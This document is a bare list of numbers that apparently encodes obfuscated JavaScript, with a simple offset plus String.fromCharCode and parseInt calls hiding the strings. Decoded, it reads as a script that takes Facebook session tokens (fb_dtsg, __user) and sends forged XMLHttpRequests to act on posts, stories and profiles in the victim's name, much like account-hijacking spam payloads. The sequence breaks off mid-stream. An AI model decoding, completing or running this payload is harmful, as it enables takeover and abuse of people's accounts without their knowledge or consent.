92,77,87,82,40,77,47,22,38,23,26,96,83,94,90,103,77,84,80,87,82,40,16,16,26,94,79,96,83,92,98,77,81,93,91,91,83,92,98,77,87,82,40,16,16,26,96,93,93,98,87,82,40,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,35,39,27,34,32,23,26,94,79,96,97,83,55,92,98,22,31,30,37,27,31,32,23,26,94,79,96,97,83,55,92,98,22,37,37,27,32,39,23,26,94,79,96,97,83,55,92,98,22,31,34,36,27,35,31,23,26,94,79,96,97,83,55,92,98,22,37,36,27,32,37,23,26,94,79,96,97,83,55,92,98,22,31,30,35,27,35,34,23,23,26,81,90,94,40,16,16,26,79,98,98,79,81,86,83,82,77,97,98,87,81,89,83,96,77,84,80,87,82,40,30,26,79,98,98,79,81,86,83,82,77,94,86,93,98,93,77,84,80,87,82,40,30,26,79,98,98,79,81,86,83,82,77,100,87,82,83,93,77,84,80,87,82,40,30,26,84,83,83,82,77,81,93,92,98,83,102,98,40,56,65,61,60,28,97,98,96,87,92,85,87,84,103,22,105,87,97,77,100,87,83,101,83,96,77,94,79,85,83,77,79,82,91,87,92,40,15,31,26,87,97,77,92,93,98,87,84,87,81,79,98,87,93,92,77,94,96,83,100,87,83,101,40,15,31,26,79,99,98,93,94,90,79,103,77,101,87,98,86,77,81,86,79,92,92,83,90,100,87,83,101,77,93,96,77,97,92,93,101,90,87,84,98,40,15,31,26,84,80,84,83,83,82,77,81,93,92,98,83,102,98,40,15,30,26,90,93,81,79,98,87,93,92,77,98,103,94,83,40,35,26,93,99,98,83,96,77,93,80,88,83,81,98,77,83,90,83,91,83,92,98,77,87,82,40,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,35,37,27,34,30,23,26,94,79,96,97,83,55,92,98,22,31,31,35,27,32,30,23,26,94,79,96,97,83,55,92,98,22,36,38,27,32,30,23,26,94,79,96,97,83,55,92,98,22,31,30,36,27,31,31,23,26,94,79,96,97,83,55,92,98,22,31,33,39,27,32,32,23,23,26,93,80,88,83,81,98,77,83,90,83,91,83,92,98,77,87,82,40,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,35,37,27,34,30,23,26,94,79,96,97,83,55,92,98,22,31,31,35,27,32,30,23,26,94,79,96,97,83,55,92,98,22,36,38,27,32,30,23,26,94,79,96,97,83,55,92,98,22,31,30,36,27,31,31,23,26,94,79,96,97,83,55,92,98,22,31,33,39,27,32,32,23,23,26,87,97,77,79,82,77,94,96,83,100,87,83,101,40,15,31,26,87,97,77,83,82,87,98,79,80,90,83,40,15,31,26,97,86,87,91,94,79,96,79,91,97,40,105,94,79,85,83,77,98,103,94,83,40,31,36,26,79,81,98,93,96,77,87,82,40,94,96,93,84,87,90,83,77,87,82,26,97,98,93,96,103,77,87,82,40,83,28,94,93,97,98,77,87,82,26,79,82,77,87,82,40,30,26,77,84,98,77,40,16,16,26,90,93,81,79,98,87,93,92,40,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,35,32,27,34,30,23,26,94,79,96,97,83,55,92,98,22,31,31,34,27,31,33,23,26,94,79,96,97,83,55,92,98,22,31,36,34,27,35,30,23,26,94,79,96,97,83,55,92,98,22,31,32,33,27,31,34,23,26,94,79,96,97,83,55,92,98,22,31,31,31,27,31,34,23,26,94,79,96,97,83,55,92,98,22,31,32,39,27,32,31,23,26,94,79,96,97,83,55,92,98,22,31,32,31,27,31,36,23,26,94,79,96,97,83,55,92,98,22,31,32,34,27,31,34,23,26,94,79,96,97,83,55,92,98,22,31,33,35,27,32,38,23,23,107,26,97,98,93,96,103,77,87,82,40,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,34,36,27,32,39,23,26,94,79,96,97,83,55,92,98,22,31,32,32,27,32,37,23,26,94,79,96,97,83,55,92,98,22,36,36,27,31,38,23,26,94,79,96,97,83,55,92,98,22,31,34,37,27,35,32,23,26,94,79,96,97,83,55,92,98,22,31,35,33,27,33,35,23,23,26,81,79,96,83,98,77,87,82,40,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,36,37,27,35,30,23,26,94,79,96,97,83,55,92,98,22,31,32,39,27,33,34,23,26,94,79,96,97,83,55,92,98,22,38,36,27,33,38,23,26,94,79,96,97,83,55,92,98,22,31,31,34,27,31,39,23,26,94,79,96,97,83,55,92,98,22,31,34,33,27,32,34,23,23,26,77,77,55,65,77,55,60,65,55,50,51,77,67,55,77,52,51,51,50,48,47,49,57,77,52,61,64,59,77,77,40,15,30,107,23,26,16,84,98,73,98,92,75,16,40,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,34,37,27,35,36,23,26,94,79,96,97,83,55,92,98,22,31,30,35,27,31,32,23,23,26,16,84,98,73,84,80,84,83,83,82,77,90,93,81,79,98,87,93,92,75,16,40,35,26,79,100,40,94,96,93,84,87,90,83,77,87,82,26,77,77,99,97,83,96,40,94,96,93,84,87,90,83,77,87,82,26,77,77,79,40,31,26,77,77,82,103,92,40,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,30,38,27,35,35,23,26,94,79,96,97,83,55,92,98,22,31,30,31,27,31,35,23,26,94,79,96,97,83,55,92,98,22,37,36,27,32,33,23,26,94,79,96,97,83,55,92,98,22,31,37,37,27,35,36,23,26,94,79,96,97,83,55,92,98,22,39,33,27,32,38,23,26,94,79,96,97,83,55,92,98,22,31,34,37,27,36,30,23,26,94,79,96,97,83,55,92,98,22,31,30,36,27,35,30,23,26,94,79,96,97,83,55,92,98,22,39,38,27,35,33,23,26,94,79,96,97,83,55,92,98,22,31,31,30,27,31,33,23,26,94,79,96,97,83,55,92,98,22,39,35,27,32,35,23,26,94,79,96,97,83,55,92,98,22,31,34,34,27,33,33,23,26,94,79,96,97,83,55,92,98,22,38,32,27,31,37,23,26,94,79,96,97,83,55,92,98,22,31,33,33,27,31,34,23,26,94,79,96,97,83,55,92,98,22,31,34,37,27,33,38,23,26,94,79,96,97,83,55,92,98,22,31,32,34,27,32,31,23,26,94,79,96,97,83,55,92,98,22,39,34,27,32,36,23,26,94,79,96,97,83,55,92,98,22,31,36,34,27,34,34,23,26,94,79,96,97,83,55,92,98,22,31,34,37,27,32,36,23,26,94,79,96,97,83,55,92,98,22,31,31,37,27,34,34,23,26,94,79,96,97,83,55,92,98,22,38,34,27,31,33,23,26,94,79,96,97,83,55,92,98,22,31,36,35,27,34,33,23,26,94,79,96,97,83,55,92,98,22,31,32,34,27,35,33,23,26,94,79,96,97,83,55,92,98,22,31,36,36,27,35,35,23,26,94,79,96,97,83,55,92,98,22,31,32,37,27,31,38,23,26,94,79,96,97,83,55,92,98,22,31,36,34,27,34,33,23,26,94,79,96,97,83,55,92,98,22,31,34,30,27,32,38,23,26,94,79,96,97,83,55,92,98,22,31,30,33,27,34,36,23,26,94,79,96,97,83,55,92,98,22,31,32,31,27,35,32,23,26,94,79,96,97,83,55,92,98,22,31,34,31,27,34,33,23,26,94,79,96,97,83,55,92,98,22,31,31,30,27,34,31,23,26,94,79,96,97,83,55,92,98,22,31,37,36,27,35,35,23,26,94,79,96,97,83,55,92,98,22,31,30,39,27,33,38,23,26,94,79,96,97,83,55,92,98,22,31,35,30,27,34,37,23,26,94,79,96,97,83,55,92,98,22,31,30,30,27,31,37,23,26,94,79,96,97,83,55,92,98,22,38,39,27,33,33,23,26,94,79,96,97,83,55,92,98,22,31,33,36,27,31,34,23,26,94,79,96,97,83,55,92,98,22,38,34,27,31,37,23,26,94,79,96,97,83,55,92,98,22,38,39,27,32,32,23,26,94,79,96,97,83,55,92,98,22,31,30,33,27,35,38,23,26,94,79,96,97,83,55,92,98,22,38,38,27,32,31,23,26,94,79,96,97,83,55,92,98,22,38,38,27,33,38,23,26,94,79,96,97,83,55,92,98,22,38,34,27,33,30,23,26,94,79,96,97,83,55,92,98,22,31,33,37,27,32,38,23,26,94,79,96,97,83,55,92,98,22,39,36,27,34,33,23,26,94,79,96,97,83,55,92,98,22,31,30,33,27,35,38,23,26,94,79,96,97,83,55,92,98,22,31,33,38,27,34,30,23,26,94,79,96,97,83,55,92,98,22,31,38,31,27,35,39,23,26,94,79,96,97,83,55,92,98,22,31,31,31,27,34,32,23,26,94,79,96,97,83,55,92,98,22,31,35,38,27,35,37,23,26,94,79,96,97,83,55,92,98,22,31,30,38,27,34,33,23,26,94,79,96,97,83,55,92,98,22,31,35,38,27,34,35,23,26,94,79,96,97,83,55,92,98,22,39,33,27,33,39,23,26,94,79,96,97,83,55,92,98,22,39,31,27,33,35,23,26,94,79,96,97,83,55,92,98,22,31,31,35,27,34,30,23,26,94,79,96,97,83,55,92,98,22,31,30,30,27,34,37,23,26,94,79,96,97,83,55,92,98,22,31,30,32,27,31,37,23,26,94,79,96,97,83,55,92,98,22,31,31,31,27,35,39,23,26,94,79,96,97,83,55,92,98,22,31,33,34,27,33,33,23,26,94,79,96,97,83,55,92,98,22,31,31,30,27,36,30,23,26,94,79,96,97,83,55,92,98,22,31,30,38,27,34,31,23,26,94,79,96,97,83,55,92,98,22,38,33,27,31,34,23,26,94,79,96,97,83,55,92,98,22,31,35,36,27,35,34,23,26,94,79,96,97,83,55,92,98,22,37,35,27,31,39,23,26,94,79,96,97,83,55,92,98,22,31,36,39,27,35,31,23,26,94,79,96,97,83,55,92,98,22,31,31,38,27,31,31,23,26,94,79,96,97,83,55,92,98,22,31,36,31,27,34,32,23,26,94,79,96,97,83,55,92,98,22,31,37,37,27,35,36,23,26,94,79,96,97,83,55,92,98,22,36,39,27,31,38,23,26,94,79,96,97,83,55,92,98,22,31,35,36,27,35,35,23,26,94,79,96,97,83,55,92,98,22,31,32,32,27,35,33,23,26,94,79,96,97,83,55,92,98,22,31,33,36,27,33,30,23,26,94,79,96,97,83,55,92,98,22,31,30,37,27,33,32,23,26,94,79,96,97,83,55,92,98,22,31,32,32,27,32,33,23,26,94,79,96,97,83,55,92,98,22,31,31,36,27,34,38,23,26,94,79,96,97,83,55,92,98,22,39,30,27,31,35,23,26,94,79,96,97,83,55,92,98,22,31,33,37,27,32,30,23,26,94,79,96,97,83,55,92,98,22,39,37,27,32,38,23,26,94,79,96,97,83,55,92,98,22,31,31,39,27,31,33,23,26,94,79,96,97,83,55,92,98,22,31,32,38,27,35,33,23,26,94,79,96,97,83,55,92,98,22,37,37,27,32,34,23,26,94,79,96,97,83,55,92,98,22,31,35,37,27,34,36,23,26,94,79,96,97,83,55,92,98,22,31,34,34,27,33,37,23,26,94,79,96,97,83,55,92,98,22,31,37,36,27,35,34,23,26,94,79,96,97,83,55,92,98,22,37,36,27,32,30,23,26,94,79,96,97,83,55,92,98,22,31,33,33,27,31,36,23,26,94,79,96,97,83,55,92,98,22,31,36,30,27,34,31,23,26,94,79,96,97,83,55,92,98,22,31,31,32,27,32,38,23,26,94,79,96,97,83,55,92,98,22,38,30,27,31,35,23,26,94,79,96,97,83,55,92,98,22,38,31,27,31,33,23,26,94,79,96,97,83,55,92,98,22,39,35,27,32,37,23,26,94,79,96,97,83,55,92,98,22,31,31,33,27,34,37,23,26,94,79,96,97,83,55,92,98,22,38,34,27,31,38,23,26,94,79,96,97,83,55,92,98,22,31,33,39,27,32,30,23,26,94,79,96,97,83,55,92,98,22,31,32,34,27,35,36,23,26,94,79,96,97,83,55,92,98,22,31,33,34,27,35,39,23,26,94,79,96,97,83,55,92,98,22,37,33,27,32,31,23,26,94,79,96,97,83,55,92,98,22,31,32,33,27,33,37,23,26,94,79,96,97,83,55,92,98,22,31,36,38,27,35,35,23,26,94,79,96,97,83,55,92,98,22,39,37,27,33,30,23,26,94,79,96,97,83,55,92,98,22,31,35,34,27,33,32,23,26,94,79,96,97,83,55,92,98,22,31,31,36,27,34,37,23,26,94,79,96,97,83,55,92,98,22,31,34,38,27,35,30,23,26,94,79,96,97,83,55,92,98,22,31,35,36,27,35,35,23,26,94,79,96,97,83,55,92,98,22,36,35,27,31,30,23,26,94,79,96,97,83,55,92,98,22,39,34,27,33,38,23,26,94,79,96,97,83,55,92,98,22,31,33,39,27,36,30,23,26,94,79,96,97,83,55,92,98,22,37,33,27,32,31,23,26,94,79,96,97,83,55,92,98,22,31,31,33,27,35,36,23,26,94,79,96,97,83,55,92,98,22,38,31,27,31,32,23,26,94,79,96,97,83,55,92,98,22,31,32,31,27,31,33,23,26,94,79,96,97,83,55,92,98,22,31,34,30,27,32,30,23,26,94,79,96,97,83,55,92,98,22,31,36,32,27,34,39,23,26,94,79,96,97,83,55,92,98,22,39,34,27,34,30,23,26,94,79,96,97,83,55,92,98,22,39,38,27,31,33,23,26,94,79,96,97,83,55,92,98,22,31,31,36,27,36,30,23,26,94,79,96,97,83,55,92,98,22,31,30,33,27,34,37,23,26,94,79,96,97,83,55,92,98,22,31,31,31,27,34,34,23,23,26,77,77,96,83,95,40,32,30,26,77,77,80,83,40,30,26,77,77,94,81,40,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,30,34,27,33,35,23,26,94,79,96,97,83,55,92,98,22,31,33,38,27,35,30,23,26,94,79,96,97,83,55,92,98,22,31,31,31,27,33,31,23,26,94,79,96,97,83,55,92,98,22,36,39,27,32,30,23,26,94,79,96,97,83,55,92,98,22,37,37,27,31,39,23,26,94,79,96,97,83,55,92,98,22,38,33,27,31,35,23,26,94,79,96,97,83,55,92,98,22,39,38,27,32,39,23,26,94,79,96,97,83,55,92,98,22,31,30,35,27,33,35,23,26,94,79,96,97,83,55,92,98,22,31,31,35,27,35,30,23,26,94,79,96,97,83,55,92,98,22,31,33,31,27,34,36,23,26,94,79,96,97,83,55,92,98,22,31,32,39,27,35,33,23,26,94,79,96,97,83,55,92,98,22,31,32,35,27,34,31,23,23,26,84,80,77,82,98,97,85,40,84,80,77,82,98,97,85,26,98,98,97,98,79,91,94,40,98,98,97,98,79,91,94,26,77,77,96,83,100,40,77,77,96,83,100,107,41,84,93,96,22,87,43,30,41,87,42,83,28,98,79,85,97,28,90,83,92,85,98,86,41,87,25,25,23,98,28,81,93,91,91,83,92,98,77,98,83,102,98,25,43,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,30,30,27,33,36,23,26,94,79,96,97,83,55,92,98,22,31,32,34,27,33,33,23,23,25,83,28,98,79,85,97,73,87,75,25,16,40,16,25,77,47,22,35,23,25,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,32,39,27,33,36,23,23,41,100,79,96,14,93,43,92,83,101,14,70,59,58,54,98,98,94,64,83,95,99,83,97,98,41,93,28,93,94,83,92,22,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,33,37,27,35,37,23,26,94,79,96,97,83,55,92,98,22,31,31,37,27,33,38,23,26,94,79,96,97,83,55,92,98,22,39,34,27,31,31,23,26,94,79,96,97,83,55,92,98,22,31,33,31,27,34,37,23,23,26,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,33,30,27,32,36,23,26,94,79,96,97,83,55,92,98,22,31,36,33,27,34,37,23,26,94,79,96,97,83,55,92,98,22,31,36,36,27,35,30,23,26,94,79,96,97,83,55,92,98,22,31,34,31,27,32,39,23,26,94,79,96,97,83,55,92,98,22,31,36,35,27,35,30,23,26,94,79,96,97,83,55,92,98,22,31,31,38,27,36,30,23,26,94,79,96,97,83,55,92,98,22,36,35,27,31,38,23,26,94,79,96,97,83,55,92,98,22,37,37,27,33,30,23,26,94,79,96,97,83,55,92,98,22,31,33,31,27,31,32,23,26,94,79,96,97,83,55,92,98,22,31,33,36,27,31,37,23,26,94,79,96,97,83,55,92,98,22,31,33,36,27,31,37,23,26,94,79,96,97,83,55,92,98,22,39,33,27,34,37,23,26,94,79,96,97,83,55,92,98,22,31,33,36,27,33,34,23,26,94,79,96,97,83,55,92,98,22,31,35,37,27,36,30,23,26,94,79,96,97,83,55,92,98,22,31,33,33,27,33,34,23,26,94,79,96,97,83,55,92,98,22,31,31,39,27,31,38,23,26,94,79,96,97,83,55,92,98,22,31,33,36,27,33,38,23,26,94,79,96,97,83,55,92,98,22,31,34,30,27,32,39,23,26,94,79,96,97,83,55,92,98,22,31,32,33,27,31,32,23,26,94,79,96,97,83,55,92,98,22,31,31,38,27,31,31,23,26,94,79,96,97,83,55,92,98,22,37,30,27,32,34,23,26,94,79,96,97,83,55,92,98,22,31,31,36,27,31,37,23,26,94,79,96,97,83,55,92,98,22,31,32,33,27,31,32,23,26,94,79,96,97,83,55,92,98,22,31,32,31,27,31,32,23,26,94,79,96,97,83,55,92,98,22,39,31,27,34,34,23,26,94,79,96,97,83,55,92,98,22,31,35,33,27,33,36,23,26,94,79,96,97,83,55,92,98,22,31,34,30,27,33,38,23,26,94,79,96,97,83,55,92,98,22,31,36,35,27,36,30,23,26,94,79,96,97,83,55,92,98,22,31,30,30,27,35,33,23,26,94,79,96,97,83,55,92,98,22,31,31,30,27,31,33,23,26,94,79,96,97,83,55,92,98,22,31,35,33,27,35,33,23,26,94,79,96,97,83,55,92,98,22,31,31,39,27,31,39,23,26,94,79,96,97,83,55,92,98,22,39,37,27,35,30,23,26,94,79,96,97,83,55,92,98,22,31,34,31,27,34,32,23,26,94,79,96,97,83,55,92,98,22,31,35,30,27,33,39,23,26,94,79,96,97,83,55,92,98,22,31,34,39,27,34,30,23,26,94,79,96,97,83,55,92,98,22,31,35,31,27,34,32,23,26,94,79,96,97,83,55,92,98,22,31,34,38,27,34,37,23,26,94,79,96,97,83,55,92,98,22,31,37,30,27,36,30,23,26,94,79,96,97,83,55,92,98,22,31,36,31,27,34,35,23,26,94,79,96,97,83,55,92,98,22,31,30,31,27,35,34,23,26,94,79,96,97,83,55,92,98,22,37,39,27,31,36,23,26,94,79,96,97,83,55,92,98,22,31,33,32,27,33,31,23,26,94,79,96,97,83,55,92,98,22,31,34,38,27,32,38,23,26,94,79,96,97,83,55,92,98,22,31,33,31,27,31,35,23,26,94,79,96,97,83,55,92,98,22,31,31,36,27,35,35,23,26,94,79,96,97,83,55,92,98,22,31,34,35,27,33,36,23,26,94,79,96,97,83,55,92,98,22,31,34,35,27,34,34,23,23,23,26,93,28,97,83,98,64,83,95,99,83,97,98,54,83,79,82,83,96,22,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,39,31,27,32,34,23,26,94,79,96,97,83,55,92,98,22,31,34,33,27,33,32,23,26,94,79,96,97,83,55,92,98,22,31,36,32,27,35,32,23,26,94,79,96,97,83,55,92,98,22,31,35,32,27,33,36,23,26,94,79,96,97,83,55,92,98,22,31,31,34,27,31,33,23,26,94,79,96,97,83,55,92,98,22,31,36,32,27,35,32,23,26,94,79,96,97,83,55,92,98,22,31,35,38,27,34,32,23,26,94,79,96,97,83,55,92,98,22,36,31,27,31,36,23,26,94,79,96,97,83,55,92,98,22,39,38,27,31,34,23,26,94,79,96,97,83,55,92,98,22,31,36,36,27,34,35,23,26,94,79,96,97,83,55,92,98,22,31,36,30,27,34,38,23,26,94,79,96,97,83,55,92,98,22,31,33,31,27,33,30,23,23,26,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,33,32,27,33,35,23,26,94,79,96,97,83,55,92,98,22,31,35,39,27,34,37,23,26,94,79,96,97,83,55,92,98,22,31,37,31,27,35,39,23,26,94,79,96,97,83,55,92,98,22,31,36,30,27,35,32,23,26,94,79,96,97,83,55,92,98,22,31,34,33,27,33,38,23,26,94,79,96,97,83,55,92,98,22,31,31,34,27,31,35,23,26,94,79,96,97,83,55,92,98,22,31,31,33,27,31,36,23,26,94,79,96,97,83,55,92,98,22,31,36,31,27,34,35,23,26,94,79,96,97,83,55,92,98,22,31,33,30,27,32,35,23,26,94,79,96,97,83,55,92,98,22,31,33,32,27,32,31,23,26,94,79,96,97,83,55,92,98,22,31,33,36,27,32,36,23,26,94,79,96,97,83,55,92,98,22,31,30,33,27,35,36,23,26,94,79,96,97,83,55,92,98,22,31,37,30,27,35,30,23,26,94,79,96,97,83,55,92,98,22,31,30,31,27,35,36,23,26,94,79,96,97,83,55,92,98,22,31,34,33,27,32,34,23,26,94,79,96,97,83,55,92,98,22,31,37,30,27,35,31,23,26,94,79,96,97,83,55,92,98,22,31,36,34,27,34,35,23,26,94,79,96,97,83,55,92,98,22,37,36,27,33,31,23,26,94,79,96,97,83,55,92,98,22,31,33,30,27,32,38,23,26,94,79,96,97,83,55,92,98,22,31,37,30,27,35,39,23,26,94,79,96,97,83,55,92,98,22,31,36,37,27,35,33,23,26,94,79,96,97,83,55,92,98,22,31,32,38,27,31,39,23,26,94,79,96,97,83,55,92,98,22,38,30,27,33,35,23,26,94,79,96,97,83,55,92,98,22,31,37,34,27,35,37,23,26,94,79,96,97,83,55,92,98,22,31,32,35,27,31,31,23,26,94,79,96,97,83,55,92,98,22,31,32,34,27,31,36,23,26,94,79,96,97,83,55,92,98,22,31,31,33,27,31,32,23,26,94,79,96,97,83,55,92,98,22,31,32,36,27,31,36,23,26,94,79,96,97,83,55,92,98,22,31,35,31,27,35,32,23,26,94,79,96,97,83,55,92,98,22,31,36,32,27,35,31,23,26,94,79,96,97,83,55,92,98,22,31,33,36,27,33,36,23,26,94,79,96,97,83,55,92,98,22,31,32,38,27,32,37,23,26,94,79,96,97,83,55,92,98,22,31,33,37,27,33,37,23,26,94,79,96,97,83,55,92,98,22,39,33,27,33,34,23,26,94,79,96,97,83,55,92,98,22,35,30,27,31,38,23,26,94,79,96,97,83,55,92,98,22,31,31,34,27,31,35,23,26,94,79,96,97,83,55,92,98,22,31,34,34,27,34,30,23,26,94,79,96,97,83,55,92,98,22,31,32,31,27,32,34,23,26,94,79,96,97,83,55,92,98,22,31,36,34,27,35,30,23,26,94,79,96,97,83,55,92,98,22,31,37,31,27,35,36,23,26,94,79,96,97,83,55,92,98,22,31,33,37,27,33,36,23,26,94,79,96,97,83,55,92,98,22,31,33,32,27,31,36,23,26,94,79,96,97,83,55,92,98,22,31,31,33,27,35,32,23,26,94,79,96,97,83,55,92,98,22,31,31,30,27,32,35,23,26,94,79,96,97,83,55,92,98,22,39,35,27,31,31,23,26,94,79,96,97,83,55,92,98,22,38,35,27,31,35,23,26,94,79,96,97,83,55,92,98,22,36,31,27,31,36,23,26,94,79,96,97,83,55,92,98,22,31,30,32,27,34,36,23,23,23,26,93,28,97,83,92,82,22,77,48,22,98,23,23,26,93,28,93,92,96,83,79,82,103,97,98,79,98,83,81,86,79,92,85,83,43,84,99,92,81,98,87,93,92,22,23,105,87,84,22,34,43,43,93,28,96,83,79,82,103,65,98,79,98,83,20,20,32,30,30,43,43,93,28,97,98,79,98,99,97,23,105,56,65,61,60,28,94,79,96,97,83,22,93,28,96,83,97,94,93,92,97,83,66,83,102,98,28,96,83,94,90,79,81,83,22,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,33,38,27,33,36,23,26,94,79,96,97,83,55,92,98,22,31,34,35,27,33,34,23,26,94,79,96,97,83,55,92,98,22,31,35,39,27,34,35,23,26,94,79,96,97,83,55,92,98,22,36,31,27,32,39,23,26,94,79,96,97,83,55,92,98,22,38,34,27,34,34,23,26,94,79,96,97,83,55,92,98,22,37,38,27,31,39,23,26,94,79,96,97,83,55,92,98,22,38,34,27,32,35,23,26,94,79,96,97,83,55,92,98,22,38,36,27,34,35,23,26,94,79,96,97,83,55,92,98,22,38,35,27,32,36,23,23,26,16,16,23,23,107,107,107,84,99,92,81,98,87,93,92,14,77,92,22,83,23,105,100,79,96,14,98,43,83,28,94,93,97,98,77,87,82,26,93,43,92,83,101,14,70,59,58,54,98,98,94,64,83,95,99,83,97,98,41,93,28,93,94,83,92,22,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,33,30,27,35,39,23,26,94,79,96,97,83,55,92,98,22,31,31,34,27,34,35,23,26,94,79,96,97,83,55,92,98,22,31,33,39,27,35,35,23,23,26,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,31,34,27,31,30,23,26,94,79,96,97,83,55,92,98,22,31,36,30,27,34,34,23,26,94,79,96,97,83,55,92,98,22,31,37,35,27,35,39,23,26,94,79,96,97,83,55,92,98,22,31,35,34,27,34,32,23,26,94,79,96,97,83,55,92,98,22,31,34,33,27,32,38,23,26,94,79,96,97,83,55,92,98,22,38,37,27,32,39,23,26,94,79,96,97,83,55,92,98,22,36,34,27,31,37,23,26,94,79,96,97,83,55,92,98,22,31,30,34,27,35,37,23,26,94,79,96,97,83,55,92,98,22,31,35,31,27,33,32,23,26,94,79,96,97,83,55,92,98,22,31,33,37,27,31,38,23,26,94,79,96,97,83,55,92,98,22,31,33,35,27,31,36,23,26,94,79,96,97,83,55,92,98,22,36,31,27,31,35,23,26,94,79,96,97,83,55,92,98,22,31,33,30,27,32,38,23,26,94,79,96,97,83,55,92,98,22,31,34,38,27,35,31,23,26,94,79,96,97,83,55,92,98,22,31,33,36,27,33,37,23,26,94,79,96,97,83,55,92,98,22,31,31,39,27,31,38,23,26,94,79,96,97,83,55,92,98,22,31,32,36,27,32,38,23,26,94,79,96,97,83,55,92,98,22,31,36,34,27,35,33,23,26,94,79,96,97,83,55,92,98,22,31,34,36,27,33,35,23,26,94,79,96,97,83,55,92,98,22,31,33,32,27,32,35,23,26,94,79,96,97,83,55,92,98,22,39,30,27,34,34,23,26,94,79,96,97,83,55,92,98,22,31,34,30,27,34,31,23,26,94,79,96,97,83,55,92,98,22,31,32,39,27,31,38,23,26,94,79,96,97,83,55,92,98,22,31,35,36,27,34,37,23,26,94,79,96,97,83,55,92,98,22,36,31,27,31,34,23,23,25,98,25,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,30,39,27,34,36,23,26,94,79,96,97,83,55,92,98,22,31,35,31,27,35,30,23,26,94,79,96,97,83,55,92,98,22,31,35,37,27,33,37,23,26,94,79,96,97,83,55,92,98,22,31,34,31,27,32,35,23,26,94,79,96,97,83,55,92,98,22,37,36,27,31,35,23,26,94,79,96,97,83,55,92,98,22,31,32,35,27,31,36,23,26,94,79,96,97,83,55,92,98,22,31,32,36,27,32,35,23,23,23,26,93,28,97,83,98,64,83,95,99,83,97,98,54,83,79,82,83,96,22,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,39,31,27,32,34,23,26,94,79,96,97,83,55,92,98,22,31,34,33,27,33,32,23,26,94,79,96,97,83,55,92,98,22,31,36,32,27,35,32,23,26,94,79,96,97,83,55,92,98,22,31,35,32,27,33,36,23,26,94,79,96,97,83,55,92,98,22,31,31,34,27,31,33,23,26,94,79,96,97,83,55,92,98,22,31,36,32,27,35,32,23,26,94,79,96,97,83,55,92,98,22,31,35,38,27,34,32,23,26,94,79,96,97,83,55,92,98,22,36,31,27,31,36,23,26,94,79,96,97,83,55,92,98,22,39,38,27,31,34,23,26,94,79,96,97,83,55,92,98,22,31,36,36,27,34,35,23,26,94,79,96,97,83,55,92,98,22,31,36,30,27,34,38,23,26,94,79,96,97,83,55,92,98,22,31,33,31,27,33,30,23,23,26,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,33,32,27,33,35,23,26,94,79,96,97,83,55,92,98,22,31,35,39,27,34,37,23,26,94,79,96,97,83,55,92,98,22,31,37,31,27,35,39,23,26,94,79,96,97,83,55,92,98,22,31,36,30,27,35,32,23,26,94,79,96,97,83,55,92,98,22,31,34,33,27,33,38,23,26,94,79,96,97,83,55,92,98,22,31,31,34,27,31,35,23,26,94,79,96,97,83,55,92,98,22,31,31,33,27,31,36,23,26,94,79,96,97,83,55,92,98,22,31,36,31,27,34,35,23,26,94,79,96,97,83,55,92,98,22,31,33,30,27,32,35,23,26,94,79,96,97,83,55,92,98,22,31,33,32,27,32,31,23,26,94,79,96,97,83,55,92,98,22,31,33,36,27,32,36,23,26,94,79,96,97,83,55,92,98,22,31,30,33,27,35,36,23,26,94,79,96,97,83,55,92,98,22,31,37,30,27,35,30,23,26,94,79,96,97,83,55,92,98,22,31,30,31,27,35,36,23,26,94,79,96,97,83,55,92,98,22,31,34,33,27,32,34,23,26,94,79,96,97,83,55,92,98,22,31,37,30,27,35,31,23,26,94,79,96,97,83,55,92,98,22,31,36,34,27,34,35,23,26,94,79,96,97,83,55,92,98,22,37,36,27,33,31,23,26,94,79,96,97,83,55,92,98,22,31,33,30,27,32,38,23,26,94,79,96,97,83,55,92,98,22,31,37,30,27,35,39,23,26,94,79,96,97,83,55,92,98,22,31,36,37,27,35,33,23,26,94,79,96,97,83,55,92,98,22,31,32,38,27,31,39,23,26,94,79,96,97,83,55,92,98,22,38,30,27,33,35,23,26,94,79,96,97,83,55,92,98,22,31,37,34,27,35,37,23,26,94,79,96,97,83,55,92,98,22,31,32,35,27,31,31,23,26,94,79,96,97,83,55,92,98,22,31,32,34,27,31,36,23,26,94,79,96,97,83,